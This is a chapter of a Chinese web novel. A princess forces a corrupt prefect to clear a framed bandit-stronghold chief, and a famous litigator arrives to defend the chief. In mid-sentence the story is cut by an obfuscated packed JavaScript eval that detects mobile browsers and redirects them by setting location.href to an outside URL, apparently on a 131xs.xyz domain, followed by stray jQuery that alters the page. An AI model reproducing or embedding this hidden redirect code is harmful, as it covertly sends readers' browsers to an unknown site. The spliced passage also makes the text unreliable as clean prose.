31)
三王女名叫文根鸢,是嫡长帝卿文熵煦膝下的独女,自小就因胡闹却不讨人嫌的独特性格备受女帝宠爱,
后来,在她十岁那年,父亲因病身故,女帝既悲痛又心疼,当即就将扬州城赐给她做了封地,
如今十几年过去,当年的小鬼头长大,褪去一身的肉嘟嘟的小孩肉,愈发显得英气俊朗不说,还写的一手好字,做得一手好文章,可谓是所有王女里难得的人才,只是那秉性未改,依旧还当年那个不折不扣的混世魔王,让不少王公贵族们头疼的很。
前几年,女帝因病思念故去儿子文熵煦,便召了她上京叙旧,可谁知道这一叙就是三年,
就在众人都私下里猜测三王女将会是未来新皇女登基后新的摄政王,不会再回到扬州城后,她竟然会忽然悄无声息地回来了,
第一次现身竟然还是在衙门!
“恕下官眼拙,竟没能认出三王女您,下官实在是该罚,只是……下官不久前还听说您要参加下个月皇夫大人亲自操办的马球会,为何会如此突然地就赶回了扬州?”
“哦?看来孙大人还挺关心我的,连我什么时候去打马球都打听一清二楚。”
文根鸢勾起唇角,她撩起裙摆,二话不说就往太师椅上一摊,
露出一副吊儿郎当的玩味笑容。
“您与李尚书还真是如出一辙啊。”
孙尚青心头一跳,虽然在上京城,她与李尚书的关系已经传到人尽皆知的地步,但也只是心照不宣,
没有人会当着她们两人的面提起,
除了眼前这个天不怕地不怕的三皇女。
“三王女说笑了,下官如何能与李尚书相比,她勤政爱民,是连女帝都夸的人物,与她相比,下官要做还差的远。”
“嗯,的确差得远。”
孙尚书一时之间没反应过来,她下意识的惊愕让文根鸢以为她又空了耳朵,
不得已,她只好拉高音调,
“嗯,我说——的确——差的远,好了,既然孙尚书耳朵不好使,那我便不再卖关子了,孙尚书,请放人吧。”
“三王女是为了那位清风寨少主而来?”
文根鸢轻哼一声,她耸着肩从太师椅上起来,一步步朝孙尚青逼近:“不为她那傻子,还能为了那行贿官员,制假造假,招摇撞骗,家里人一个赛一个的私德有亏的贺家而来吗?”
紧接着,随着文根鸢的一个响指,鼻青脸肿,已经昏厥的杨捕头被狼狈地丢进屋子,
“连底下的猫偷腥都没发现,看来以孙知府你的能力想要重回上京城的怕还真的有些难,也难怪李尚书在上京城不辞辛劳地为你奔走,不过,你知道的,咱们陛下最讨厌的是什么,倘若本王不小心说漏嘴……”
孙尚青闻言连忙道歉,
她低头,恶狠狠地看了一眼杨捕头,嫌弃之意溢于言表,
她当然知道杨捕头背着她私下里都偷偷做了什么,而且她笃定三王女也知道她是知情的,
但之所以这么说,有两个原因,
其一,想卖李尚书一个人情,
其二,这件案子需要一个新的罪人。
不过,对于杨捕头来说,成为新的罪人倒也不算冤枉她,
自己做孽结出的恶果,最后怕还是需要自己吞下。
孙尚青:“下官知道该怎么做了,还望三王女能高抬贵手,放下官一马。”
“同为替陛下分忧解难之人,的确需要彼此照应,但本王可不是那些人,想要本王伸出援手,那得瞧瞧你是否做好了分内之事,就拿孙知府来说吧,这大半年,李尚书替你上报的政绩有多少是你自己做的,又有多少是顶替别人拿到的呢?”
“孙知府是读书人,懂得肯定比我多,这杀鸡取卵的事情可做不得啊。”
孙尚青没想到文根鸢竟然连这个也一清二楚,她慌张到一时腿软,险些跌倒在地。
其实,她与微安相识并非是那次在清风山之上,她早就认识她了,
她甚至知道那屡屡揭榜抓逃犯,拿悬赏之人正是微安。
一开始,孙尚青觉得此人乃可造之材,想要收入麾下,因此派人送去了好几次的表彰帖,邀她前来府衙促膝长谈,
但送出去的帖子次次石沉大海不说,时间一长,对方竟直接一连送了好几封拒降书到衙门,
一封信里,除去歪扭七八的拒降书三个大字外,再也没有其他的了,
孙尚青这才知道原来这清风寨里就没多少个认字的主儿,将她的帖子当成了劝降书,
至此,她便灵机一动开始了她谎报政绩之事。
简单来说,就是微安做事,微安领钱,但功劳归她,
孙尚青想通之后,便开始着手翻遍近二十年衙门卷宗,她专门挑选那些与上京那些名门望族有关的悬赏令,亦或者是曾震惊过全国上下的有名案子,
将犯人的样貌特征、生活习惯,有一个算一个地仔细写了公布在公告栏上,
甚至,她还怕微安看不懂,十分贴心地吩咐宋师给每一段文字都配上了插图。
起初,孙尚青并没抱多大希望,
一来,这些陈年旧案大多年代比较久远,虽然都已经定了罪,可毕竟犯人都跑了这么多年,估摸着早已改名换姓,并不好追查,
二来,她并不知道微安选案子的标准是谁什么,到底会不会理会她的这一番“一厢情愿”。
可让孙尚青没有想到的是,福气天女竟有一天也会眷顾她,
她找的那些案子竟误打误撞地对上了微安口味!
孙尚青为了能更快积累名声,特地选的都是些名门望族的案子,偏偏这类案子悬赏金额都很高,正巧对应上对方要高赏钱的需求
毕竟清风寨上上下下四十口人,全都靠她一个人养活。
还有那些奇案要案,本是孙尚青为了能在殿前博陛下一个另眼相看的,
可没想到偏偏就是犯下这类案件的犯人作案手法极其残忍,也正对微安喜欢惩罚恶人的“恶趣味”,
甚至有一次一个犯下灭门惨案的重犯被丢进衙门时,是被泡在泔水桶,被剃光头发送来的。
短短半年时间,“她”屡屡抓住逃犯,惹得朝上朝下连连称赞,
喜讯频传,升迁有望。
随着事情愈发的顺利,孙尚青也越来越不安,尽管她知道微安那人好像只在意赏金,
但就是不安心,
每每午夜梦回,她总是能梦到自己好不容易回到上京,却又被戳穿一切驱逐的场面,
就在日日寝食难安之际,她偶然发现了杨捕头与贺家之间的龌龊,
在得知对方想要对付清风寨,对付微安的计划后,一直悬着的心忽然间有了着落。
一想到微安很可能被诬陷,关上个三年五载,
那她便能暂时高枕无忧了,
就算是日后她出狱想翻旧账,那时她也早已在上京站位脚跟,不是能轻易撼动的了。
但孙尚青怎么也没想到微安竟会和这位混世魔王三王女有关系,甚至还能让她不惜千里迢迢从上京赶回扬州替她撑腰,
当然,孙尚青同样也想不到此时此刻,就在她身后十几米开外的公堂之上,
还有“麻烦”在等着她。
*
女人进来时,身后拖着一辆木头车,形状看上去像木匠铺子里常卖的幼童学步车,
只不过这只要大上许多,
里头装着一大堆东西,锄头,衣带,甚至还有带着门锁的一块木板,看起来像是刚刚从泥地里刨出来,脏兮兮,奇形怪状。
围观的人群中很快就有人认出女人,
“那不是第一铁嘴讼师柳箐箐吗?她怎么来了?”
“讼师不出现在公堂还能出现在哪儿?就是不知道究竟是这贺家请了她,还是清风寨?”
“这用脚指头想也知道是贺家啊,就柳菁菁这毒娘子的黑心黑肺漫天要价的性子,清风寨就算是砸锅卖铁也请不起啊。”
“哦?这讼师这般厉害?”
“那当然,听过一句话吗?北乔然,南菁菁,其中的菁菁就是这位“铁嘴”柳菁菁了,据说这女人一张小嘴可怕的很,能把死的说成获得,就连刑部、大理寺大人都要给她三分薄面,更何况这贺微两家就只是个小小的婚约造假案!”
“若这娘子要真这般厉害,这案子不就板上钉钉是贺家赢了?真没意思,早知道就去西巷听谈竹公子唱曲儿了。”
这人说的没错,原本这案子的人证物证皆有利于贺家,眼下再加上一个呵呵有名的名嘴所写的诉状护航,
差不多等于直接宣判结果了,
这还有什么看头啊,
围观的人们一时间都没了兴趣,
就在她们正准备离开时,
一个声音又说,
“欸,欸,欸,娘子们,先别急着离开啊,你们看,柳娘子压根就没搭理贺家,径直拖着那小车走向那微少主了!”
围观众人:哈?
柳菁菁个头很小,往微安旁边一站就像是个没长开的小女孩,
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179016|180864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽管如此,她的气势却并未被微安压下去很多,这在清风寨众人看来属实少见。
只见,柳菁菁在微安身旁站定后,淡淡地看了微安一眼,
微安也轻飘飘地回了一眼,
随后两人又假装若无其事地转了回去,
目视前方。
刚才人群中的议论全都一字不落地被微安听进耳中,她原本跟她们想的一样,也以为这讼师是贺家请的,可没想到她竟然是来帮自己的。
微安还以为她找错人了,冷声提醒:“贺家在那边。”
柳菁菁:“所以?”
所以她不是贺家请来,而是真的来帮她的?
微安眉头皱地更深了,因为这更加不妙,这人好像很贵的样子。
“我们清风寨没钱请讼师。”
“少主放心,钱已经有人付过了。”
“谁?”
“基于誓约,在下并不能透露对方的名字,不然的话,对方不会付我一厘钱,不过,为了让少主可以安心,在下用信誉和性命担保一定回替你洗脱罪名。”
柳菁菁飞快地说完,
像是觉得这样承诺力度还不够,便又加了一句,
“更何况,少主的这个案子,对我来说简单到几乎可以说是过家家的水准了,做局陷害少主的铁定是个外行,倘若让我来评价这个局,可以说是烂的毫无水准,做的漏洞百出,整体十分糟糕。”
外行吗?
微安忽然感到一阵失望,她想,
要是杨捕头此刻也听能听到柳菁菁的这句话就好了。
两人还没来得及说更多,
孙尚青便匆匆出现,她二话不说,惊堂木一拍,
直接判了微安无罪。
这下,不只是贺家、百姓傻了,就连身经百战的柳菁菁也傻了,
整个公堂上,唯有微安还是她那一张波澜不惊,像是谁都欠她的钱的臭脸。
“孙大人,你这……”
贺如玉最先站出来,质疑,
孙尚青像是早就料定她会如此反应后,先是重重瞥了她一眼,随后摆摆手,眉宇间全是不耐烦,
“贺家三小姐,本官这里有份杨捕头亲口陈述,宋师代写的画押书,整整十页纸,将你们家老祖宗如何向她诉苦,她如何替你们出谋划策的事全都交代的一清二楚了,看看吧。”
贺如玉接过宋师递来的纸,简单看了两眼后,脸瞬间就白了,
事到如今,那还有什么不明白的呢?
公堂外,议论声一阵响过一阵。
“原来这都是贺家做的局?可图什么呢?图清风寨穷?还是图这少主脸臭?”
“谁知道呢,可能就坑钱呗,之前不是有传言说,贺家那些玉器店卖的都是假玉石吗?说不定啊,人家那家产都是这么一点点坑回来的。”
各种猜测愈发离谱,贺家人脸色越来越难看,年纪最小,最沉不住气的贺为之上前,冲着冷嘲热讽的围观百姓道:
“我呸!我们贺家都是摸着良心做生意,才不会卖假货,我看你才是假货,你们全家都是假货!”
“苍蝇不叮无缝的蛋,怎么无人说别人家?依我看,就是你们贺家有问题!”
“你们家才有问题。”
眼看着两帮人就要打起来,
孙尚青这才慢悠悠地拍下惊堂木,
“肃静!公堂之上岂容你们大声喧哗!再不停下来小心本官判罚你们一人一条藐视罪。”
“杨捕头的画押书自即日起张贴在衙门告示栏三天,凡有对此事有异议者,可自行前往查看,好了,此事就此作罢,退堂!”
孙尚青宣判完,就这么挥挥袖子走了,
这把柳菁菁都脸气绿了,
不仅仅是她从没见过如此行事草率的知府,更重要的是,这样一来,她就拿不到白家小少爷开出的天价讼师费了!
那可是一个她连想都不敢想的价格!
这把柳菁菁急的当即从袖兜里拿了份张契书出来查看。
“看来,柳讼师并不太擅长保管秘密。”
不知道什么时候,微安的身影如鬼魅一般出现在身后,把柳菁菁吓得宛如一条被踩到尾巴炸毛的猫,
“你、你、你什么时候出现的?怎么没声音?”
微安耸耸肩,依旧是那副臭脸,并没有一丁点的波动:“柳讼师这问题问的奇怪,既然要偷看如何能出声?出声了那还怎么能看到是白家让你来的。”
除此之外,还有一个问题,那就是她根本就不认识什么白家。